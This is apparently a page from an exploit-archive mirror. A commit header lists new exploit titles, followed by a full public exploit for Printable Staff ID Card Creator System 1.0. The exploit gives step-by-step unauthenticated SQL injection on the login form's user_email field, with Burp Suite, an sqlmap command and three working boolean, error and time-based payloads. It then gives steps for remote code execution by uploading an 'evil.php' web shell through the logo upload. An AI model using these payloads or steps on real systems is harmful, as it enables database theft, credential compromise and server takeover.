1b1c47b0a8
11 changes to exploits/shellcodes Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) Customer Relationship Management (CRM) System 1.0 - 'Category' Persistent Cross site Scripting IPFire 2.25 - Remote Code Execution (Authenticated) Dental Clinic Appointment Reservation System 1.0 - 'Firstname' Persistent Cross Site Scripting (Authenticated) Dental Clinic Appointment Reservation System 1.0 - Cross Site Request Forgery (Add Admin) Simple Chatbot Application 1.0 - 'Category' Stored Cross site Scripting Billing Management System 2.0 - Union based SQL injection (Authenticated) Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS) Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated) Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload
43 lines
No EOL
2.4 KiB
Text
43 lines
No EOL
2.4 KiB
Text
# Exploit Title: Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload
|
|
# Date: 2021-05-16
|
|
# Exploit Author : bwnz
|
|
# Software Link: https://www.sourcecodester.com/php/12802/php-staff-id-card-creation-and-printing-system.html
|
|
# Version: 1.0
|
|
# Tested on: Ubuntu 20.04.2 LTS
|
|
|
|
# Printable Staff ID Card Creator System is vulnerable to an unauthenticated SQL Injection attack.
|
|
# After compromising the database via SQLi, an attacker can log in and leverage an arbitrary file upload
|
|
# vulnerability to obtain remote code execution.
|
|
|
|
|
|
-----SQL Injection-----
|
|
Step 1.) Navigate to the login page and populate the email and password fields.
|
|
Step 2.) With Burp Suite running, send and capture the request.
|
|
Step 3.) Within Burp Suite, right click and "Save item" in preparation for putting the request through SQLMap.
|
|
Step 4.) Open a terminal and run the following command:
|
|
sqlmap -r <saved item>
|
|
|
|
Below are the SQLMap results
|
|
|
|
Parameter: user_email (POST)
|
|
Type: boolean-based blind
|
|
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
|
|
Payload: user_email=test@test.com' RLIKE (SELECT (CASE WHEN (9007=9007) THEN 0x7465737440746573742e636f6d ELSE 0x28 END))-- JaaE&password=`&login_button=
|
|
|
|
Type: error-based
|
|
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
|
Payload: user_email=test@test.com' AND (SELECT 7267 FROM(SELECT COUNT(*),CONCAT(0x7176717071,(SELECT (ELT(7267=7267,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pCej&password=`&login_button=
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: user_email=test@test.com' AND (SELECT 2884 FROM (SELECT(SLEEP(5)))KezZ)-- bBqz&password=`&login_button=
|
|
----- END -----
|
|
|
|
|
|
----- Authenticated RCE via Arbitrary File Upload -----
|
|
# For this attack, it is assumed that you've obtained credentials via the SQL Injection attack above and have logged in.
|
|
|
|
Step 1.) After logging in, click the "Initialization" option and "Add System Info".
|
|
Step 2.) Populate the blank form with arbitrary data. At the bottom of the form, there is an option to upload a logo. Upload your evil.php file here and click "Finish".
|
|
Step 3.) By default, the file is uploaded to http://<IP>/Staff_registration/media/evil.php. Navigate to it for RCE.
|
|
----- END ------ |